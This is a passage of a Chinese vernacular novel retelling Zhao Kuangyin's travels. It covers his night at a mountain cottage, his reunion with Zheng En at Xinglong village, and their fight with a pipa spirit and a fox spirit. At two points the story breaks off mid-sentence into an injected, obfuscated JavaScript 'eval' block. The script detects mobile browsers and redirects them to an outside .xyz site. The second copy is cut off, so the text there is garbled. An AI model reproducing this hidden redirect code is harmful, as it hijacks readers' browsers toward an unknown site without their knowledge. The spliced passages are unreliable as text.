正发愁呢,忽然看见前面山边有间茅屋,茅草屋顶上冒着淡淡的炊烟,门口站着个老太太,怀里抱着个三四岁的孩子,正往路上望。赵匡胤心里一喜,赶紧催马过去,下了马,对着老太太恭恭敬敬作了个揖:“老人家您好,我是从东京来的,要去禅州办事,不小心错过了宿店,想在您家借宿一晚,您看方便吗?” 老太太打量了他半天——见他穿着铠甲,手里还提着刀,却说话客气,不像是坏人,就点了点头:“方便倒是方便,就是我们家太简陋了,只有两间土房,怕委屈了你。这天气这么冷,在外面待着可不行,快进来吧。” 这时屋里走出来个年轻媳妇,手里拿着个针线笸箩,应该是老太太的儿媳李氏。李氏看见赵匡胤,眼神里满是戒备,小声对老太太说:“娘,咱们不认识他,万一他是坏人怎么办?家里就咱们娘俩和孩子,要是出点事……” 老太太拍了拍她的手,小声说:“你看这小伙子说话客气,不像坏人,再说这么冷的天,让他在外面待着,非冻坏了不可。咱们把门拴好,小心点就是了。”赵匡胤听见了,赶紧说:“大嫂放心,我不是坏人,就是借宿一晚,明天一早就走,还会给您家住宿费的,绝不会给您添麻烦。” 李氏这才没再说什么,帮着老太太把马牵到天井里拴好——天井里有棵老槐树,树干很粗,正好拴马。赵匡胤跟着她们进了屋,屋里挺小,中间摆着一张矮桌,旁边是个土炕,炕上铺着粗布褥子。老太太把孩子放在炕上,孩子一开始怕生,躲在老太太身后,偷偷往赵匡胤这边看。 赵匡胤见孩子可爱,从行李里拿出块用油纸包着的桂花糕——这是之前在路过的镇上买的,本来想自己当干粮,见孩子怯生生的,就递了过去:“小朋友,这个给你吃,可甜了。” 孩子看了看老太太,见老太太点点头,才慢慢走过来,接过桂花糕,小口小口吃了起来。吃了两口,就不那么怕生了,爬到赵匡胤身边,伸出小手要他抱。老太太笑着说:“这孩子,平时见了生人躲都来不及,今天倒跟你投缘,看来你是个好人。” 李氏端来一碗热水,递给赵匡胤:“客人,喝口热水暖暖身子吧,路上肯定冻坏了。”赵匡胤接过热水,说了声谢谢,心里觉得暖和多了。老太太又问了他几句路上的事,赵匡胤捡着能说的跟她聊了聊,没提自己被追杀的事,怕吓着她们。 过了一会儿,李氏说要去做饭,就进了里屋的小厨房。老太太抱着孩子,跟赵匡胤坐在炕边聊天,说这孩子叫小石头,刚满四岁,特别聪明,就是身子有点弱。赵匡胤看着小石头,见他眉清目秀,眼睛又大又亮,心里想:“这山村人家能生出这么俊的孩子,日后说不定有大福气。” 正想着,忽然觉得一阵阴风从门缝里钻进来,吹得桌上的油灯芯“突突”直晃,差点灭了。小石头本来在老太太怀里玩,一下子抱紧了老太太的脖子,“哇”的一声哭了起来。赵匡胤心里一紧,赶紧站起来,走到门口往天井里看——只见天井里隐隐约约有几个黑影晃来晃去,却不进屋,还听见有人小声嘀咕:“咱们奉命来拿这孩子,怎么有个皇帝护着他?这可怎么下手?”后面还有几句听不清楚。 过了一会儿,又是一阵旋风吹过,那些黑影一下子就没了。赵匡胤这才松了口气,心里却明白了:“这些黑影肯定是冲小石头来的,幸好有我在,不然这孩子恐怕要遭殃。”他回头一看,李氏也从厨房出来了,脸色有点白:“娘,刚才那是什么东西?怪吓人的,我在厨房都听见动静了。” 老太太叹了口气,抱着小石头轻轻拍着:“想必是石头命里该有的劫难,还好有这位客人在,把那些东西赶跑了。客人,真是多谢你了。”赵匡胤赶紧说:“老人家别客气,我也是碰巧赶上了,只要孩子没事就好。”他又安慰了小石头几句,孩子慢慢不哭了,又靠在老太太怀里玩起来。 没过多久,李氏把晚饭端了上来——一碗热气腾腾的玉米粥,一碟咸菜,还有两个贴饼子,都是家常吃食,却透着股烟火气。赵匡胤饿坏了,接过老太太递来的贴饼子,咬了一大口,贴饼子外脆里软,带着玉米的香味,又喝了两碗玉米粥,肚子一下子就饱了。 吃完饭,李氏收拾碗筷,老太太哄小石头睡觉。赵匡胤帮着把桌子擦干净,又把自己的行李放在墙角,免得占地方。老太太把中门拴好,对赵匡胤说:“客人,你就睡在这炕上吧,我和儿媳带着孩子睡里屋,委屈你了。”赵匡胤赶紧说:“老人家太客气了,能有地方住就不错了,不委屈。” 这一晚赵匡胤睡得挺安稳,没再出什么事。第二天一早,天刚亮他就醒了,收拾好行李,从怀里拿出一锭银子——这银子不算小,够普通人家过好几个月了,递到老太太手里:“老人家,多谢您昨晚收留,这点银子您拿着,买点过冬的东西,也算是我的一点心意。” 老太太赶紧推辞:“不用不用,就是借宿一晚,哪能要你的银子?你出门在外也不容易,自己留着吧。”这时小石头醒了,从炕上爬下来,拉着赵匡胤的衣角,仰着小脸看着他,不让他走。赵匡胤蹲下来,摸了摸他的头:“小石头乖,叔叔要去办事,以后要是路过这儿,再来看你好不好?” 说着,他把银子塞到小石头手里:“这个给你买糖吃,要听奶奶和娘的话,别调皮。”小石头拿着银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519291|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,递给老太太,老太太见推辞不过,只好收下,对赵匡胤说:“小伙子,路上一定要小心,要是路过这儿,记得再来家里坐。” 赵匡胤点点头,牵着马,跟老太太和李氏告了别,又摸了摸小石头的头,才翻身上马,继续往西走。一路上又过了不少山川、平原、城市和村庄,走了差不多三天,终于看到前面有座大庄子。 这庄子屋宇错落,烟囱里冒着袅袅炊烟,看着很是兴旺,门口挂着个木牌,上面写着“兴隆庄”三个大字。赵匡胤觉得有点饿,就骑着马进了庄,见北边有座酒楼,门面不算小,就下了马,提着行李走了进去。 他找了个靠窗的桌子坐下,喊了声:“酒保,来三角热酒,一盘猪肉!赶路赶了半天,饿坏了。”酒保赶紧跑过来,脸上带着为难的神色:“客人,实在对不住,热酒和猪肉都没了,您尝尝冷酒和素菜行吗?都是刚做的,挺新鲜的。” 赵匡胤皱了皱眉——他刚才明明看见后厨的烟囱冒着烟,还听见锅里“咕嘟咕嘟”的声音,怎么就没了?他指了指后厨的方向:“我刚才看见后厨的锅里煮着肉,炉子里还烫着酒,怎么说没有?你是不是看我是外乡人,故意不卖给我?” 酒保赶紧摆手,声音也压低了些:“客人您别误会!那锅肉和炉子里的酒,真不是卖的,是给我们庄的‘黑吃大王’准备的,我们可不敢卖,要是让大王知道了,非得骂我们不可。” 赵匡胤好奇了:“什么是‘黑吃大王’?他是什么人,还得让你们专门给他准备酒肉?”酒保左右看了看,见没别的客人,才小声说:“客人您不知道,我们这庄以前叫孟家庄,好几年前闹妖怪——是个鹿精,每年都要庄里送一个童男一个童女给它吃,不然就搅得庄里鸡犬不宁,家家不得安生。有好几户人家的孩子都被它吃了,可谁也治不了它。” “后来去年秋末,来了位大王,听说了这事,就说要去抓妖怪。我们庄里人都劝他别去,怕他也被妖怪吃了,可他不听,独自去了妖怪住的山洞。没想到第二天一早,他就扛着鹿精的尸体回来了,说已经把妖怪杀了。我们都特别感激他,就留他在庄里的庙里住,轮流给他送吃的。自从他来了以后,庄里再也没出过事,日子也越来越兴旺,就改名叫兴隆庄了。大家都喊他‘黑吃大王’,其实是敬重他,觉得他能‘吃’住妖怪。今天该我们酒楼送吃的,大王现在就在后堂歇息,所以那酒肉真不能卖您,您别生气。” 赵匡胤听了,心里暗暗佩服:“能降伏妖怪,还护着庄里人,这‘黑吃大王’肯定是个英雄,我得去会会他。”酒保见他眼神发亮,赶紧劝:“客人您可别去!那大王脾气不好,一不高兴就打人。上次有个客人喝醉了,不小心闯到后堂,被他骂了一顿,还差点挨打,您可别去惹他。” 赵匡胤不听,站起来就往后堂走:“没事,我跟他好好说,不会惹他生气的。”酒保拦不住他,只能在后面着急地喊:“客人您小心点啊!” 后堂有间书房,收拾得挺干净,靠窗摆着一张方桌,桌上还放着个空酒壶。一个大汉趴在桌上,穿着一身青衣,脸朝着里面,嘴里还哼着曲儿,声音挺熟悉:“南来的雁,北去的雁,白天黑夜飞个不停,我天天喝得醉醺醺,啥时候才能见到我的二哥啊?” 赵匡胤一听这声音,心里“咯噔”一下:“这不是郑恩吗?他怎么会在这儿?大哥柴荣呢?他们不是一起走的吗?”他想跟郑恩开个玩笑,就轻手轻脚走过去,对着郑恩的后背,轻轻打了一拳。 郑恩一下子就跳了起来,回头就骂:“哪个驴球入的敢跟老子开玩笑?不想活了是不是?”可他一看见赵匡胤,骂声瞬间停了,眼睛瞪得溜圆,愣了半天,然后“扑通”一声从桌上滚了下来——原来他是趴在桌上,没坐稳,一激动就摔下去了。 他爬起来,一把抓住赵匡胤的手,声音都有点发颤:“二哥!是你吗?我不是在做梦吧?我天天想你,晚上做梦都梦到跟你一起喝酒吃肉,怎么一睁眼就看见你了?” 赵匡胤被他抓得有点疼,却忍不住笑了:“你刚才还在哼曲儿,怎么会是做梦?快起来,地上凉。”他把郑恩扶起来,又帮他拍了拍身上的灰尘。 郑恩还是抓着他的手不放,激动得眼泪都快出来了:“二哥,我可算见到你了!自从在那破庙里跟你分开后,我就没一天不想你。”赵匡胤拉着他坐在椅子上,问:“兄弟,大哥呢?你怎么一个人在这儿?你们不是一起去泌州了吗?” 一提柴荣,郑恩就皱起了眉头,撇了撇嘴:“别提大哥了!我们到了泌州,我藏在裤兜里的银子不知道被哪个贼偷了,本来就够倒霉的,他还病倒在饭店里。他那脾气你也知道,一病就更不好了,天天嫌这嫌那——嫌饭店的饭不好吃,嫌住的地方脏,我天天伺候他,他还不满意。我实在受不了了,就跟他分开了,一路走到这儿,正好遇上庄里闹妖怪,我就把妖怪杀了,庄里人就留我在这儿了。” 赵匡胤皱了皱眉:“兄弟,大哥毕竟是兄长,就算他有不对的地方,你也该多忍忍,怎么能说分开就分开?现在不知道他在哪儿,身体好不好,我心里也不踏实。” 郑恩满不在乎地摆摆手:“二哥,你别担心他!他那么精明,肯定饿不着,说不定早就找着好地方了。你看我现在多好——穿的是新衣服,吃的是好酒好肉,庄里人都敬着我,比跟着大哥强多了!” 赵匡胤看了看他身上的青衣——这青衣是新做的,布料还不错,就是颜色有点暗,故意笑着说:“可不是嘛,这身衣服真好看,比我穿的铠甲还精神,我可比不上你。” 郑恩听了,更高兴了,拍着桌子喊:“酒保!快把准备好的酒肉端上来!我要跟我二哥好好喝几杯,不醉不归!”酒保听见喊声,赶紧把炖得喷香的猪肉、几条煎得金黄的鱼,还有一壶刚烫好的热酒端上来,摆了满满一桌子,还特意多拿了两个酒杯。 兄弟俩坐在桌前,一边喝酒一边聊天。赵匡胤把分开后的事——从杀了御乐官被追杀,到五索州被解保围攻,再到史魁救他、借宿老太太家,都跟郑恩说了一遍,说得详详细细。 说到雪桃时,郑恩咽了咽口水,眼睛都亮了:“二哥,那雪桃肯定特别甜吧?我还从来没吃过雪地里长的桃子呢,要是能尝一口就好了。”赵匡胤笑着从行李里拿出用油纸包着的雪桃——就是昨天剩下的那个,递给郑恩:“巧了,我这儿还剩一个,你尝尝,确实甜。” 郑恩接过来,也不管凉不凉,几口就吃了下去,嘴里还不停喊着:“好吃!太好吃了!比我吃过的所有桃子都甜!二哥,还有吗?再给我一个呗!”赵匡胤摇摇头:“就剩这一个了,下次有机会再给你找,好不好?”郑恩有点失望,可也没再追问,又端起酒杯喝了一大口。 两人喝到傍晚,天都快黑了,郑恩说:“二哥,别住酒楼了,跟我去庙里住吧!那庙虽然没有神像,却打扫得干净,还安静,咱们还能多说说话,比在酒楼自在。”赵匡胤点点头:“好,听你的。” 酒保帮着把行李背到庙里,又把马牵过去,拴在院子里的柱子上,还抱来一捆干草给马吃,然后才告辞退回去了。赵匡胤看了看这庙——院子里种着几棵松树,虽然是冬天,却还是绿的,屋里摆着两张床,铺着粗布褥子,确实挺干净。 两人把行李铺好,坐在床边又聊了起来,越聊越亲近。聊到半夜,郑恩忽然说:“二哥,你别再到处跑了,就在这儿住下吧!庄里人都听我的,我跟他们说一声,肯定不会亏待你。咱们俩天天喝酒聊天,多快活啊!” 赵匡胤看着他,眼神变得严肃起来,轻轻叹了口气:“兄弟,我有句话想跟你说,你听了可别生气……” 正是:说开心事能惊天地,提起过往可震古今。到底赵匡胤说了什么话?郑恩又会是什么反应?咱们下回再接着说。 27. 第 27 章 话说赵匡胤在兴隆庄的小酒店里碰到了郑恩,俩人好些年没见,感情还是那么深。聊天的时候,郑恩一个劲说现在的日子多舒服,劝赵匡胤别再四处奔波了,留在这儿一起享清福,絮絮叨叨说了半天。 赵匡胤听了,皱着眉摇头:“兄弟,你这话就错了。咱哥俩都是顶天立地的汉子,得把本事用在正经地方,等机会来了干一番大事业,要么挣个封妻荫子,要么把名字写进史书里,上对得起祖宗,下对得起自己,这才叫大丈夫。要是光想着舒服,靠别人过日子,那跟没出息的普通人有啥区别?这能是咱哥俩一辈子的营生吗?你听我的,别再贪图安逸混日子了,得赶紧振作起来往前奔,可别把自己的本事埋了,最后跟草木似的烂在地里,到时候后悔都来不及。” 郑恩被赵匡胤说得低下头,叹着气半天没吭声。他心里其实也琢磨:二哥说的是没错,可俺在这儿住了这么久,突然走了还真有点舍不得。而且走了之后去哪儿呢?又能干啥?想了好一会儿,他才抬起头,挠着后脑勺说:“二哥,你说的在理。要俺走也不难,可咱俩这一出去,去哪儿安身啊?得先商量好,不然瞎跑啥。” 赵匡胤拍了拍他的肩膀:“大丈夫走到哪儿都是家,还怕没地方住?你放心,跟哥走,肯定能有个着落。”郑恩听他这么说,才放下心来,俩人各自回屋睡了。 第二天一早,郑恩刚起来就喊来一个跟着他的小伙子:“你去把庄里管事的老人们都叫到庙里来,俺有事儿跟他们说。”小伙子赶紧跑出去,没一会儿就把兴隆庄几个领头的老人都请来了。老人们一进庙就给郑恩作揖,郑恩也拱着手回礼。 有个白胡子老人看见赵匡胤,就问郑恩:“好汉,这位是?”郑恩嗓门洪亮:“这是俺二哥,为人最仁义,你们也过来见个礼。”老人们又赶紧给赵匡胤作揖,赵匡胤也客气地回了礼。 等大家都坐定了,郑恩才开口:“各位乡亲,今天叫你们来,是俺要跟你们辞行。俺二哥当年在关西放了好些银子的债,现在得去把本利要回来,叫俺跟他一起去。” 老人们一听就急了,领头的王老汉赶紧说:“大王啊,您可是咱庄的活菩萨!自从您来了,不仅降住了那妖怪,还护着全庄的人,这几年风调雨顺,庄稼长得好,人也平安,您就是咱这儿的保护神啊!俺们可舍不得您走,您再住些日子呗?” 郑恩摆了摆手:“俺主意已定,不管你们咋留,俺都得走。”另一个李老汉又劝:“就算您要走,也不差这几天啊!等过了年,看完灯节再走不行吗?”郑恩咧嘴一笑:“啥年不年、灯节不灯节的,俺天天有饭吃有衣穿就行,要走就走,没啥好磨蹭的。” 老人们见郑恩态度这么坚决,知道再留也没用,就凑到一边小声商量。王老汉说:“看这意思,大王是真要走了,咱再劝也没用。不如咱们凑点盘缠,再做桌好酒好菜给他送行,也算跟他相处一场,尽尽心意,你们看咋样?”其他人都点头:“说得对,咱赶紧去准备。” 说完,老人们都出了庙,有的回家拿银子,有的去集市买肉买菜。没半天功夫,就把一桌子好酒好菜抬到了庙里,摆在大殿中间。郑恩和赵匡胤坐在上首,王老汉和李老汉端着酒壶上前敬酒。 王老汉眼圈有点红:“大王,俺们全庄人都得谢谢您啊!要不是您降了妖怪,俺们早就活不成了,本想留您多住些日子好好报答,没想到您这就要走了,不知道这辈子还能不能再见到您……”说着,眼泪就掉了下来。 郑恩见他哭了,也有点不好意思,挠了挠头说:“乡亲们别难过。俺在这儿受了你们不少照顾,现在俺要走了,倒有个办法能报答你们。”李老汉赶紧问:“大王有啥办法?您尽管说,俺们一定照办。” 郑恩说:“你们这儿有会画画的吗?叫一个来,俺有用。”王老汉赶紧点头:“有有!村东头的张画师,画得可像了!俺这就叫人去请。”说着就叫了个小伙子去请张画师。 没一会儿,张画师就来了。他背着画夹,穿着洗得发白的青布衫,一进庙就给郑恩和赵匡胤作揖。郑恩指了指旁边的桌子:“你就在这儿画,把俺的样子画下来。俺走了之后,要是再有妖怪来害人,这画像能镇住它;你们想俺了,看看画像也跟见着俺一样,这不挺好吗?” 赵匡胤在旁边点头:“兄弟这主意好。张画师,你赶紧画吧,画完俺们也好赶路。”张画师赶紧把画夹打开,拿出纸墨笔砚,坐在桌子前,对着郑恩仔细看了看,就开始动笔。 张画师心里其实有点犯怵:这位大王长得可真凶,浓眉大眼,脸盘又宽,下巴上还有块横肉,要是画得太像,会不会惹他不高兴?可要是画得不像,又对不起乡亲们。他一边琢磨,一边小心翼翼地描轮廓,先画眼睛,再画眉毛,墨色浓淡都仔细调着。 没一会儿,画像就画好了。张画师把画递过去,老人们围过来一看,都连声夸:“像!太像了!张画师,你这手艺真绝了!”赵匡胤也站起来接过画,看了看说:“确实画得像,跟真人没差,张画师真是妙手。” 郑恩赶紧把画接过来,左看右看,突然把画往桌子上一摔,大声嚷嚷:“你这驴日的!不会画画就别画!把俺画得跟个妖怪似的,他们还夸你!赶紧给俺滚出去!” 赵匡胤赶紧拉住他,笑着说:“兄弟别生气,你本来就是这模样,跟张画师没关系。”说着叫人拿了面铜镜过来,递给郑恩:“你自己照照,就知道了。” 郑恩接过镜子,一边看镜子里的自己,一边看画上的样子,突然笑了:“俺的娘哎!原来俺长这样啊!还挺好看的,俺今天才知道!”老人们也跟着笑:“大王这模样多威风,一看就能镇住妖怪。” 郑恩摸了摸脑袋,有点不好意思:“之前在木铃关,那些人还朝俺吐唾沫,真是没眼光!刚才要不是看镜子,差点冤枉了张画师。来,张画师,俺敬你三大碗酒,给你赔罪。”说着就倒了三大碗酒,递到张画师面前。 张画师赶紧接过酒,一口一碗喝了,连声道谢。郑恩又说:“张画师,你再给俺画一张,把俺的衣服、身材都画准了,旁边再画一根俺的酸枣棍,还有俺养的那只小黄狗。要是画得好,俺再敬你酒。” 赵匡胤皱了皱眉,拉了拉郑恩的胳膊,小声说:“兄弟,你这想法不太好。乡亲们要你的画像,是为了镇妖怪,要是照你现在的样子画,不够威严,妖怪说不定不怕。依我看,得给你加个襆头,系个红抹额,穿件皂罗袍,手里拿根竹节钢鞭,旁边画只猛虎,这样才威风,才能镇住妖怪。” 郑恩一听,眼睛一亮:“二哥你这主意好!俺咋没想到呢!张画师,你就照俺二哥说的画!”张画师赶紧点头,调了颜色就开始画。没一会儿,新的画像就画好了,挂在墙上一看,郑恩穿着皂罗袍,戴着铁襆头,手里握着钢鞭,旁边卧着一只黑虎,眼神威严,看着就吓人。 老人们都看呆了,连声夸:“太威风了!有这画像在,啥妖怪都不敢来!”郑恩笑得合不拢嘴:“张画师,你这手艺真没说的!俺再敬你三杯!”张画师又喝了三杯酒,正要告辞,郑恩叫住他:“等等,俺还有谢礼给你。”说着叫老人们拿了二两银子递给张画师,张画师千恩万谢地走了。 这时,王老汉从怀里掏出一个布包,递给郑恩:“大王,这是俺们凑的二百两银子,您路上当盘缠用。”郑恩赶紧摆手:“乡亲们,俺在这儿吃你们的、住你们的,已经够麻烦你们了,咋还能要你们的银子?俺不能要。” 李老汉急了:“大王,这就是点心意,您要是不收,俺们就给您跪下了!”郑恩赶紧拉住他:“别别别!俺收,俺收还不行吗?”说着接过布包,打开拿出七八锭银子,递给跟着他的两个小伙子:“你们跟着俺也辛苦了,这些银子拿去买糖吃。”两个小伙子赶紧道谢。 郑恩把银子包好揣进怀里,提上酸枣棍,背上行李——其实他本来没啥行李,都是老人们给他准备的衣服和干粮。赵匡胤也把行李和兵器绑在马上,牵着马出了庙。赵匡胤上了马,郑恩跟在旁边走,老人们跟在后面送行。 走了有五里地,赵匡胤勒住马,回头对郑恩说:“兄弟,送君千里终须一别,你让乡亲们回去吧,别再送了。”郑恩这才停下脚步,转过身对老人们说:“各位乡亲,别送了,俺们后会有期!”老人们还想再送,郑恩摆了摆手,跟着赵匡胤往前走了。老人们站在原地,看着他俩的背影,直到看不见了才抹着眼泪回去。这真是:画像再像也是假的,路上的情谊才是真的。 赵匡胤和郑恩离开兴隆庄后,一路上白天赶路,晚上找客店住。饿了就找路边的小店吃饭,渴了就喝山泉水。这天傍晚,俩人走到一个叫高庄的地方,找了家“悦来客栈”住下。店小二把他们的马牵到后院喂料,俩人把行李放进客房,坐下点了几个菜、一壶酒。 吃完饭,天已经黑了,客房里点着一盏油灯,昏昏暗暗的。赵匡胤靠在椅子上,长叹了好几声。郑恩正摸着肚子剔牙,见他叹气,就问:“二哥,你叹啥气啊?是不是这客店太破,不如兴隆庄舒服?俺之前就劝你别走,你不听,现在又后悔了?” 赵匡胤摇了摇头,眼神有点迷茫:“兄弟,俺不是嫌客店破。俺是想,人这一辈子过得真快,跟白马跑过缝隙似的。咱哥俩天天四处跑,到现在还没个正经事儿做,日子就这么混过去了,心里头不是滋味。” 郑恩笑了:“二哥,你咋这么着急呢?咱哥俩都年轻,有的是力气,还怕以后没本事干大事?愁啥呀!”赵匡胤没再说话,俩人各自上床睡了。 第二天一早,赵匡胤本来想起来赶路,可心里总觉得不得劲,就跟郑恩说:“今天先不走了,在这儿歇一天。”郑恩一听乐了:“歇着好!俺这就叫店家弄点好酒好菜,咱哥俩喝点,解解闷。”说着就从怀里掏出两锭银子,叫店小二去准备。 店小二接过银子,心里有点犯嘀咕:这两位客人看着不像普通人,尤其是那个黑壮汉,看着就不好惹。昨天晚上,他就听店里的老掌柜说,最近总有些陌生的妇人来店里,好些住店的客人跟她们接触后,身体就变得越来越差,可他也不敢多嘴,怕惹麻烦,只能赶紧去准备酒菜。 没一会儿,店小二就把酒菜端了上来:一盘酱牛肉,一盘炒鸡蛋,一盘凉拌黄瓜,还有一壶白酒。郑恩把房门关上,跟赵匡胤对面坐下,俩人一边喝酒一边聊天,聊得挺热闹。 喝到下午,酒也快喝完了,菜也剩了不少。突然,“吱呀”一声,房门被推开了,走进来两个妇人。赵匡胤抬头一看,这两个妇人看着也就二十来岁,都穿着青布衫,腰里系着白绫汗巾,头发用青布包着,长得眉清目秀,看着挺标致,手里还各拿着一块象板。 郑恩喝得有点醉了,眯着眼睛问:“你们俩是干啥的?来这儿干啥?”其中一个妇人走上前,声音娇滴滴的:“两位客官,俺们是附近村里的,从小就会唱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四个人在客房里打了起来。郑恩拿着酸枣棍,对着一个妇人就打,那个妇人用柳叶刀格挡,“叮叮当当”的声音响个不停。赵匡胤拿着神煞棍棒,跟另一个妇人打在一起,棍棒舞得呼呼作响,不让妇人靠近。客房里的桌子被掀翻了,碗碟碎了一地,酒洒在地上,滑溜溜的。 郑恩跟那个妇人打了有半个时辰,心里早就有了主意。他知道这个妖怪动作快,但力气不如自己,就故意卖了个破绽,等着妖怪上钩。果然,那个妇人见郑恩露出破绽,举着刀就砍了过来,没想到脚下踩在了洒在地上的酒上,一下子滑倒了,差点摔在地上。 郑恩趁机举起酸枣棍,用尽全力朝着妇人的后背打了下去,“啪”的一声,妇人一下子倒在地上,不动了。没一会儿,妇人的身体就变成了一只玉石琵琶,雪白雪白的,还泛着光。 另一个妇人见同伴被打倒了,知道自己打不过,赶紧转身想跑,身体一晃,就变成了一只玉面狐狸,尾巴还露在外面。郑恩怎么会让她跑掉,赶紧追上去,一棍子打在狐狸的腿上,狐狸“嗷”地叫了一声,倒在地上。赵匡胤也赶紧过来,对着狐狸又打了几棍,狐狸很快就不动了。 原来这两个妖怪,一个是玉石琵琶成精,一个是玉面狐狸成精,专门变成漂亮妇人,迷惑男人,吸他们的精气来修炼。好多男人因为贪美色,被她们迷惑,最后身体越来越差,有的甚至丢了性命,真是得不偿失。 再说客栈的掌柜,刚才听到客房里有打斗声,赶紧跑过来查看。他趴在门缝里一看,只见两个客人跟两个妇人打在一起,还拿着兵器,心里还以为是客人跟妇人起了冲突,要出人命。他想进去劝架,可又怕被伤到,只能在门口等着。 等看到郑恩把“妇人”打成了琵琶,又把另一个打成了狐狸,掌柜吓得差点坐在地上,心里嘀咕:原来那两个妇人是妖怪!之前住店的客人身体变差,都是因为她们啊! 掌柜定了定神,推开门走进来,有点结巴地说:“两位客官……你们……你们把人打死了?这要是被官差知道了,小店可就完了……” 郑恩赶紧把掌柜拉到琵琶和狐狸旁边,指着说:“掌柜的,你看看这是啥!还说俺们打人,这明明是妖怪!”掌柜仔细一看,吓得往后退了一步:“这……这是咋回事啊?” 赵匡胤叹了口气,说:“掌柜的,你还不知道吧?这两个是妖怪,专门变成妇人迷惑人,吸人的精气。俺们要是没点本事,今天也得被它们害了。之前住店的客人,是不是跟它们接触后,身体就变差了?” 掌柜这才明白过来,拍着大腿说:“对啊对啊!之前有好几个客人,来的时候身体好好的,跟那两个妇人聊过之后,就变得面黄肌瘦,走的时候连路都走不动了。俺还以为是店里的风水不好,请了法师来做法,也没啥用。原来都是这两个妖怪搞的鬼!俺们真是瞎了眼,没看出来!今天多亏了两位客官,把它们除了,真是大恩大德啊!” 说着,掌柜就给赵匡胤和郑恩作揖,又赶紧叫店小二过来,把琵琶和狐狸拖出去埋了。这时,住在隔壁的一个老秀才也走了过来,他之前也见过那两个妇人,差点被迷惑,现在知道是妖怪,也跟着道谢:“两位壮士真是英雄啊!要是再晚几天,说不定俺也得被这妖怪害了!” 赵匡胤看了看天色,对郑恩说:“现在天还早,咱们收拾收拾,赶紧赶路吧。”郑恩却摆了摆手:“二哥,等等!俺还有件事没办,现在不能走。” 郑恩到底有啥没办的事呢?咱们下回再说。 28. 第 28 章 话说赵匡胤和郑恩在镇上的小饭馆里,遇上了两个扮成走唱妇人的妖怪——一个是玉石琵琶精,一个是粉面狐狸精。这两个妖怪本想靠美色迷惑两人,没成想郑恩天生能识破邪祟,一眼就看出了她们的破绽。兄弟俩当即联手,三下五除二就把两个妖怪打死了,妖怪死后也现了原形:一只毛茸茸的狐狸,还有一把泛着诡异光泽的玉石琵琶。 赵匡胤正弯腰收拾行李,打算尽快离开这是非之地,身旁的郑恩突然皱着眉头喊了一声:“二哥先等等!这两个妖怪虽说被咱们打死了,但留着它们的尸首可不是事儿。咱们既然有心除害,不如干脆处理干净,免得日后再出什么岔子,害了旁人。” 赵匡胤直起身,点头应道:“贤弟说得在理,确实该斩草除根。”说着就喊来饭馆里的两个伙计,让他们把狐狸的尸首抬到店外的空地上,找了些干柴点起了火。火焰刚烧起来,就传来一阵焦糊的兽毛味,熏得旁边的伙计忍不住捂鼻子。等狐狸的尸首烧成灰烬,郑恩又找了块石头,把灰烬里的骨头捣得粉碎,随手撒进了路边的草丛里。 这边处理完狐狸,郑恩又转身从店里拎出那把玉石琵琶,往空地上一扔,抄起自己那根磨得发亮的酸枣棍,猛地一棍砸下去。只听“咔嚓”一声脆响,琵琶瞬间裂成了七八块,奇怪的是,每一块碎片上都渗出了暗红的血痕,像是活人受了伤似的。赵匡胤见了也来了劲,拎起自己的神煞棍棒,和郑恩一起对着琵琶碎片一顿乱打,没一会儿就把碎片打成了粉末。伙计们见状,赶紧拿扫帚把粉末扫干净,生怕留下一点妖怪的痕迹。 等两人回到店里,却见桌子上已经摆好了一桌子酒菜,饭馆老板王老栓正站在旁边,手里还拎着个酒壶,脸上满是讨好的笑容。赵匡胤有些纳闷,开口问道:“老掌柜,这是怎么回事?我们没点这桌菜啊。” 王老栓连忙上前,搓着手笑道:“二位好汉可别见外!这桌菜是小的特意备下的,多谢二位除掉了那两个妖怪,救了咱们镇上的人。前个月有个外地来的客商,被那两个女妖精缠上,不仅随身带的银子全被卷走了,人还病了半个月,差点没缓过来。自从那两个妖精来了,镇上的客人都少了一半,小的这饭馆也快开不下去了。如今您二位除了这祸害,咱们总算能睡个安稳觉了,这点酒菜算不了什么,还望二位好汉赏脸尝尝!” 赵匡胤见王老栓说得诚恳,也不好推辞,笑着说:“老掌柜太客气了,举手之劳而已。既然你这么盛情,那我们就却之不恭了。” 王老栓一听,赶紧给两人倒酒,又殷勤地劝了几杯,才笑着退了出去。赵匡胤和郑恩坐在桌边,一边喝酒一边聊天,说起这些年闯荡的经历,越聊越投机,直到把桌上的酒喝得一干二净,才各自回房休息。眼看天已经黑了,赶路是来不及了,两人便决定在饭馆里再住一晚。 第二天一大早,天刚蒙蒙亮,赵匡胤就醒了。他洗漱完,又去叫郑恩起床,两人各自收拾好行李,跟王老栓道谢后就出了门。赵匡胤骑着自己的棕红色骏马,郑恩则扛着酸枣棍跟在旁边步行——他嫌骑马拘束,总说走路更自在。两人顺着大路往西走,此时正是初春时节,路边的草根刚冒出一点嫩绿,光秃秃的树枝上也鼓出了小小的芽苞,风里都带着点暖意。 就这样走了四五天,这天中午,远远地就看见前面有个热闹的镇子。赵匡胤勒住马,回头对郑恩说:“兄弟,咱们连着走了这么多天,也该歇歇了。前面那个镇子看着挺热闹,不如进去找家客栈住几天,养养精神再赶路,你看怎么样?” 郑恩早就走得脚底板发疼,一听这话,立刻点头:“二哥说得对!乐子这腿都快不是自己的了,正好进去歇两天,顺便给马也添点好料。” 